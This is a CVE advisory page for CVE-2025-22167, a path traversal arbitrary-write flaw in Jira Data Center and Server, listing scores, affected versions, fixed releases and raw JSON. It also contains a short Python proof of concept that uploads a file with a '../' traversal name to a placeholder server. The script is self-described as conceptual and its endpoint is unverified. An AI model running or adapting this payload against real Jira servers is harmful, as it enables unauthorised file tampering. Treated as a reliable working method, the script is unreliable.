Security Vulnerability Report
中文
CVE-2025-22167 CVSS 6.5 MEDIUM

CVE-2025-22167

Published: 2025-10-22 01:16:09
Last Modified: 2025-12-05 00:38:59

Description

This High severity Path Traversal (Arbitrary Write) vulnerability was introduced in versions: 9.12.0, 10.3.0 and remain present in 11.0.0 of Jira Software Data Center and Server. This Path Traversal (Arbitrary Write) vulnerability, with a CVSS Score of 8.7, allows an attacker to modify any filesystem path writable by the Jira JVM process. Atlassian recommends that Jira Software Data Center and Server customers upgrade to the latest version; if you are unable to do so, upgrade your instance to one of the specified supported fixed versions: Jira Software Data Center and Server 9.12: Upgrade to a release greater than or equal to 9.12.28 Jira Software Data Center and Server 10.3: Upgrade to a release greater than or equal to 10.3.12 Jira Software Data Center and Server 11.0: Upgrade to a release greater than or equal to 11.1.0 See the release notes. You can download the latest version of Jira Software Data Center and Server from the download center. This vulnerability was reported via our Atlassian (Internal) program.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:atlassian:jira_data_center:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:atlassian:jira_data_center:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:atlassian:jira_data_center:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:atlassian:jira_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:atlassian:jira_server:*:*:*:*:*:*:*:* - VULNERABLE
Jira Software Data Center and Server 9.12.0 - 9.12.27
Jira Software Data Center and Server 10.3.0 - 10.3.11
Jira Software Data Center and Server 11.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-22167 - Jira Software Path Traversal Arbitrary Write PoC # This is a conceptual PoC demonstrating the path traversal vulnerability # in Jira Software Data Center and Server import requests # Target Jira server configuration TARGET_URL = "https://jira-target.example.com" USERNAME = "attacker_user" PASSWORD = "attacker_password" # Step 1: Authenticate to Jira to obtain session session = requests.Session() login_url = f"{TARGET_URL}/rest/auth/1/session" auth_payload = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, json=auth_payload) print(f"Authentication status: {response.status_code}") # Step 2: Exploit path traversal to write arbitrary file # The vulnerability exists in file handling endpoints # Attackers can use ../ sequences to escape intended directories exploit_url = f"{TARGET_URL}/rest/api/2/attachment/upload" # Malicious payload with path traversal to write outside intended directory malicious_filename = "../../../../../../tmp/malicious_file.txt" files = { 'file': (malicious_filename, b'malicious content', 'application/octet-stream') } headers = { "X-Atlassian-Token": "no-check", "Accept": "application/json" } response = session.post(exploit_url, files=files, headers=headers) print(f"Exploit status: {response.status_code}") print(f"Response: {response.text}") # Note: Actual exploitation details may vary based on the specific # vulnerable endpoint and Jira version. The core principle is # the lack of proper path validation allowing directory traversal.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-22167", "sourceIdentifier": "[email protected]", "published": "2025-10-22T01:16:08.753", "lastModified": "2025-12-05T00:38:58.717", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "This High severity Path Traversal (Arbitrary Write) vulnerability was introduced in versions: 9.12.0, 10.3.0 and remain present in 11.0.0 of Jira Software Data Center and Server. This Path Traversal (Arbitrary Write) vulnerability, with a CVSS Score of 8.7, allows an attacker to modify any filesystem path writable by the Jira JVM process. Atlassian recommends that Jira Software Data Center and Server customers upgrade to the latest version; if you are unable to do so, upgrade your instance to one of the specified supported fixed versions:\r\n Jira Software Data Center and Server 9.12: Upgrade to a release greater than or equal to 9.12.28\r\n Jira Software Data Center and Server 10.3: Upgrade to a release greater than or equal to 10.3.12\r\n Jira Software Data Center and Server 11.0: Upgrade to a release greater than or equal to 11.1.0\r\n\r\nSee the release notes. You can download the latest version of Jira Software Data Center and Server from the download center. This vulnerability was reported via our Atlassian (Internal) program."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:atlassian:jira_data_center:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.12.0", "versionEndExcluding": "9.12.28", "matchCriteriaId": "C914B6E0-96C5-4C70-981A-D717B3B7B0C3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:atlassian:jira_data_center:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.3.0", "versionEndExcluding": "10.3.12", "matchCriteriaId": "FEB66E56-CE3E-4BC9-BDF5-DA91857CE22E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:atlassian:jira_data_center:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.0.0", "versionEndExcluding": "11.1.0", "matchCriteriaId": "CD652677-9659-4FA2-BDF9-042E5DC03660"}, {"vulnerable": true, "criteria": "cpe:2.3:a:atlassian:jira_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.12.0", "versionEndExcluding": "9.12.28", "matchCriteriaId": "70A4159A-2FF4-4806-8584-C41057832511"}, {"vulnerable": true, "criteria": "cpe:2.3:a:atlassian:jira_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.3.0", "versionEndExcluding": "10.3.12", "matchCriteriaId": "3B45F1EB-8E07-4730-A8A4-6C5574228809"}, {"vulnerable": true, "criteria": "cpe:2.3:a:atlassian:jira_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.0.0", "versionEndExcluding": "11.1.0", "matchCriteriaId": "36691455-EAD7-4C42-8EF0-C89521B4F216"}]}]}], "references": [{"url": "https://confluence.atlassian.com/pages/viewpage.action?pageId=1652920034", "source": "[email protected]", "tags": ["Vendor ... (truncated)